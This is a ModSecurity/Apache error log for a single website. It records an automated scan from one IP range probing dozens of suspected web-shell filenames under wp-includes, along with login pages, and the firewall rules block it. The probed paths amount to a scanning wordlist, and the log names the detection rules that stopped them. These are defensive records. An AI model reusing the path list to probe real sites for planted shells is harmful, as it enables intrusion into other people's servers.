[Wed Apr 22 07:11:51.345735 2026] [:error] [pid 21682:tid 21739] [client 45.137.126.45:41355] [client 45.137.126.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/security.php"] [unique_id "aegEN5lXWQZUlmPHS3oJRwAAAFA"]
[Wed Apr 22 07:11:56.396325 2026] [:error] [pid 31756:tid 31804] [client 45.137.126.24:23845] [client 45.137.126.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-language-pack.php"] [unique_id "aegEPN_WbkXbHaEfhd3cnAAAAkw"]
[Wed Apr 22 07:11:59.712599 2026] [:error] [pid 23041:tid 23053] [client 45.137.126.25:60413] [client 45.137.126.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-walker-comment-client.php"] [unique_id "aegEP0TXx_lUa7xwAb7p_wAAAQk"]
[Wed Apr 22 07:12:09.141012 2026] [:error] [pid 23041:tid 23051] [client 45.137.126.16:27683] [client 45.137.126.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-network-query-stat.php"] [unique_id "aegESUTXx_lUa7xwAb7qKgAAAQc"]
[Wed Apr 22 07:12:14.106455 2026] [:error] [pid 31755:tid 31781] [client 45.137.126.14:38103] [client 45.137.126.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-session-tokens-https.php"] [unique_id "aegETgz2mYMkg3X8q1tpFQAAAhI"]
[Wed Apr 22 07:12:18.980212 2026] [:error] [pid 31755:tid 31767] [client 45.137.126.11:58807] [client 45.137.126.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/crystal/lrs_dage.php"] [unique_id "aegEUgz2mYMkg3X8q1tpJAAAAgQ"]
[Wed Apr 22 07:12:22.226386 2026] [:error] [pid 31844:tid 31847] [client 45.137.126.29:24055] [client 45.137.126.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/as.php"] [unique_id "aegEVmtAU9CprTB4b3IyVwAAAoE"]
[Wed Apr 22 07:12:25.666702 2026] [:error] [pid 32095:tid 32110] [client 45.137.126.15:29155] [client 45.137.126.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/wp-conflg.php"] [unique_id "aegEWdfu5Cv628YPe593zQAAA4w"]
[Wed Apr 22 07:12:26.650672 2026] [:error] [pid 21682:tid 21739] [client 45.137.126.40:49499] [client 45.137.126.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/install.php"] [unique_id "aegEWplXWQZUlmPHS3oJZQAAAFA"]
[Wed Apr 22 07:12:27.635441 2026] [:error] [pid 32053:tid 32079] [client 45.137.126.28:46903] [client 45.137.126.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/db.php"] [unique_id "aegEWwzPjXx_ocfbYhs4VwAAA1g"]
[Wed Apr 22 07:12:39.534692 2026] [:error] [pid 31755:tid 31771] [client 45.137.126.50:25995] [client 45.137.126.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/thickbox/about.php"] [unique_id "aegEZwz2mYMkg3X8q1tpeAAAAgg"]
[Wed Apr 22 07:12:46.117955 2026] [:error] [pid 23041:tid 23052] [client 45.137.126.34:31889] [client 45.137.126.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rk2.php"] [unique_id "aegEbkTXx_lUa7xwAb7rCAAAAQg"]
[Wed Apr 22 07:12:50.950171 2026] [:error] [pid 23041:tid 23049] [client 45.137.126.52:28789] [client 45.137.126.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/past.php"] [unique_id "aegEckTXx_lUa7xwAb7rIQAAAQU"]
[Wed Apr 22 07:12:55.891865 2026] [:error] [pid 31844:tid 31858] [client 45.137.126.7:42969] [client 45.137.126.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/edit-tags.php"] [unique_id "aegEd2tAU9CprTB4b3IyYAAAAow"]
[Wed Apr 22 07:13:05.682736 2026] [:error] [pid 21683:tid 21751] [client 45.137.126.3:54495] [client 45.137.126.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/footer-default.php"] [unique_id "aegEgVZBWT-0diZyYyaaiwAAAIE"]
[Wed Apr 22 07:13:09.069757 2026] [:error] [pid 31755:tid 31772] [client 45.137.126.30:39597] [client 45.137.126.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-widget-meta-request.php"] [unique_id "aegEhQz2mYMkg3X8q1tp5AAAAgk"]
[Wed Apr 22 07:13:12.403859 2026] [:error] [pid 32095:tid 32110] [client 45.137.126.40:20235] [client 45.137.126.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/edit-widgets/bypass.php"] [unique_id "aegEiNfu5Cv628YPe5933QAAA4w"]
[Wed Apr 22 07:13:17.651913 2026] [:error] [pid 23041:tid 23062] [client 45.137.126.21:40365] [client 45.137.126.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/wp-login.php"] [unique_id "aegEjUTXx_lUa7xwAb7rYQAAARI"]
[Wed Apr 22 07:13:34.430002 2026] [:error] [pid 23041:tid 23065] [client 45.137.126.10:38723] [client 45.137.126.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/wp-ss.php"] [unique_id "aegEnkTXx_lUa7xwAb7rqwAAARU"]
[Wed Apr 22 07:13:35.415876 2026] [:error] [pid 21682:tid 21735] [client 45.137.126.43:56233] [client 45.137.126.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/xsec1.php"] [unique_id "aegEn5lXWQZUlmPHS3oJlQAAAEw"]
[Wed Apr 22 07:13:41.680193 2026] [:error] [pid 31756:tid 31814] [client 45.137.126.10:30091] [client 45.137.126.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/crystal/sad.php"] [unique_id "aegEpd_WbkXbHaEfhd3dAgAAAlY"]
[Wed Apr 22 07:13:42.676258 2026] [:error] [pid 32053:tid 32067] [client 45.137.126.16:61669] [client 45.137.126.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aegEpgzPjXx_ocfbYhs4ZwAAA0w"]
[Wed Apr 22 07:13:47.706150 2026] [:error] [pid 31706:tid 31717] [client 45.137.126.41:21905] [client 45.137.126.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-phpmailer-beta.php"] [unique_id "aegEq7GSe9Rnd4Q_z1igqwAAAcg"]
[Wed Apr 22 07:13:48.692254 2026] [:error] [pid 23041:tid 23060] [client 45.137.126.11:59401] [client 45.137.126.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ms-file.php"] [unique_id "aegErETXx_lUa7xwAb7rvgAAARA"]
[Wed Apr 22 07:13:49.678008 2026] [:error] [pid 21682:tid 21726] [client 45.137.126.19:28583] [client 45.137.126.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.19, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aegErZlXWQZUlmPHS3oJngAAAEM"]
[Wed Apr 22 07:13:49.685344 2026] [proxy_fcgi:error] [pid 21682:tid 21726] [client 45.137.126.19:28583] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 07:13:50.181494 2026] [:error] [pid 21682:tid 21735] [client 45.137.126.19:28583] [client 45.137.126.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/av.php"] [unique_id "aegErplXWQZUlmPHS3oJoAAAAEw"]
[Wed Apr 22 07:13:54.784131 2026] [:error] [pid 31755:tid 31783] [client 45.137.126.29:36579] [client 45.137.126.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aegEsgz2mYMkg3X8q1tqLAAAAhQ"]
[Wed Apr 22 07:13:55.765364 2026] [:error] [pid 31755:tid 31778] [client 45.137.126.49:40839] [client 45.137.126.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/network.php"] [unique_id "aegEswz2mYMkg3X8q1tqLgAAAg8"]
[Wed Apr 22 07:14:08.839493 2026] [:error] [pid 31755:tid 31786] [client 45.137.126.5:28719] [client 45.137.126.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/XML/content.php"] [unique_id "aegEwAz2mYMkg3X8q1tqSgAAAhc"]
[Wed Apr 22 07:14:09.822030 2026] [:error] [pid 31755:tid 31778] [client 45.137.126.41:35459] [client 45.137.126.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/item.php"] [unique_id "aegEwQz2mYMkg3X8q1tqTQAAAg8"]
[Wed Apr 22 07:14:13.484308 2026] [:error] [pid 31755:tid 31774] [client 45.137.126.36:29423] [client 45.137.126.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/plugins.php"] [unique_id "aegExQz2mYMkg3X8q1tqXwAAAgs"]
[Wed Apr 22 07:14:14.472294 2026] [:error] [pid 31755:tid 31773] [client 45.137.126.15:61833] [client 45.137.126.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/install.php"] [unique_id "aegExgz2mYMkg3X8q1tqYAAAAgo"]
[Wed Apr 22 07:14:15.461467 2026] [proxy_fcgi:error] [pid 23041:tid 23061] [client 45.137.126.10:60719] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 07:14:15.952633 2026] [:error] [pid 23041:tid 23067] [client 45.137.126.10:60719] [client 45.137.126.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aegEx0TXx_lUa7xwAb7r5AAAARc"]
[Wed Apr 22 07:14:20.036010 2026] [:error] [pid 23041:tid 23062] [client 45.137.126.10:60719] [client 45.137.126.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-nav-widgets.php"] [unique_id "aegEzETXx_lUa7xwAb7sJQAAARI"]
[Wed Apr 22 07:14:26.143689 2026] [:error] [pid 21682:tid 21741] [client 45.137.126.3:31179] [client 45.137.126.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/providers/doc.php"] [unique_id "aegE0plXWQZUlmPHS3oJwgAAAFI"]
[Wed Apr 22 07:14:29.404098 2026] [:error] [pid 23041:tid 23056] [client 45.137.126.10:47119] [client 45.137.126.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/1.php"] [unique_id "aegE1UTXx_lUa7xwAb7sVQAAAQw"]
[Wed Apr 22 07:14:30.386392 2026] [:error] [pid 23041:tid 23047] [client 45.137.126.7:54959] [client 45.137.126.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/class_api.php"] [unique_id "aegE1kTXx_lUa7xwAb7sWgAAAQM"]
[Wed Apr 22 07:14:37.096860 2026] [:error] [pid 21682:tid 21738] [client 45.137.126.27:28721] [client 45.137.126.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/smilies/admin.php"] [unique_id "aegE3ZlXWQZUlmPHS3oJ2wAAAE8"]
[Wed Apr 22 07:14:42.195353 2026] [:error] [pid 23041:tid 23062] [client 45.137.126.41:20315] [client 45.137.126.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/about.php"] [unique_id "aegE4kTXx_lUa7xwAb7sdwAAARI"]
[Wed Apr 22 07:14:51.821098 2026] [:error] [pid 23041:tid 23057] [client 45.137.126.30:28025] [client 45.137.126.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-customize-manager-interpreter.php"] [unique_id "aegE60TXx_lUa7xwAb7spQAAAQ0"]
[Wed Apr 22 07:14:52.816306 2026] [:error] [pid 31949:tid 31954] [client 45.137.126.13:57471] [client 45.137.126.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/bypass.php"] [unique_id "aegE7H2WtGZh5JfbMUc_uAAAAwI"]
[Wed Apr 22 07:14:56.183270 2026] [:error] [pid 23041:tid 23051] [client 45.137.126.6:52343] [client 45.137.126.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/count.php"] [unique_id "aegE8ETXx_lUa7xwAb7swAAAAQc"]
[Wed Apr 22 07:15:08.663802 2026] [:error] [pid 31706:tid 31725] [client 45.137.126.43:58451] [client 45.137.126.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aegE_LGSe9Rnd4Q_z1ig5AAAAdA"]
[Wed Apr 22 07:15:14.085154 2026] [:error] [pid 23041:tid 23065] [client 45.137.126.46:27961] [client 45.137.126.46] ModSecurity: Access denied with code 403 (phase 2). String match ".php" at REQUEST_FILENAME. [file "/usr/local/apache/modsecurity-cwaf/rules/24_Apps_Joomla.conf"] [line "74"] [id "240000"] [rev "1"] [msg "COMODO WAF: Protecting Joomla folder||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Joomla"] [hostname "rcacivilgroup.com"] [uri "/images/stories/themes.php"] [unique_id "aegFAkTXx_lUa7xwAb7tgwAAARU"]
[Wed Apr 22 07:15:14.574728 2026] [:error] [pid 23041:tid 23050] [client 45.137.126.46:27961] [client 45.137.126.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/theme-compat/footer-embed-function.php"] [unique_id "aegFAkTXx_lUa7xwAb7thgAAAQY"]
[Wed Apr 22 07:15:19.663821 2026] [:error] [pid 23041:tid 23052] [client 45.137.126.31:43237] [client 45.137.126.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/class-wp-translation-file-mo-event.php"] [unique_id "aegFB0TXx_lUa7xwAb7tmwAAAQg"]
[Wed Apr 22 07:15:20.648226 2026] [:error] [pid 21682:tid 21747] [client 45.137.126.50:48819] [client 45.137.126.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/vars-soap.php"] [unique_id "aegFCJlXWQZUlmPHS3oKIAAAAFg"]
[Wed Apr 22 07:15:32.107084 2026] [:error] [pid 31756:tid 31804] [client 45.137.126.34:36377] [client 45.137.126.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/id3/wp-work.php"] [unique_id "aegFFN_WbkXbHaEfhd3drAAAAkw"]
[Wed Apr 22 07:15:37.295141 2026] [:error] [pid 32053:tid 32060] [client 45.137.126.27:64907] [client 45.137.126.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-taxonomy.editor.php"] [unique_id "aegFGQzPjXx_ocfbYhs4tAAAA0U"]
[Wed Apr 22 07:15:40.563443 2026] [:error] [pid 23041:tid 23051] [client 45.137.126.32:30647] [client 45.137.126.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/wp-conflg.php"] [unique_id "aegFHETXx_lUa7xwAb7t2wAAAQc"]
[Wed Apr 22 07:15:51.371829 2026] [:error] [pid 21682:tid 21741] [client 45.137.126.35:39443] [client 45.137.126.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/interactivity-api/interactivity-api-xml.php"] [unique_id "aegFJ5lXWQZUlmPHS3oKQQAAAFI"]
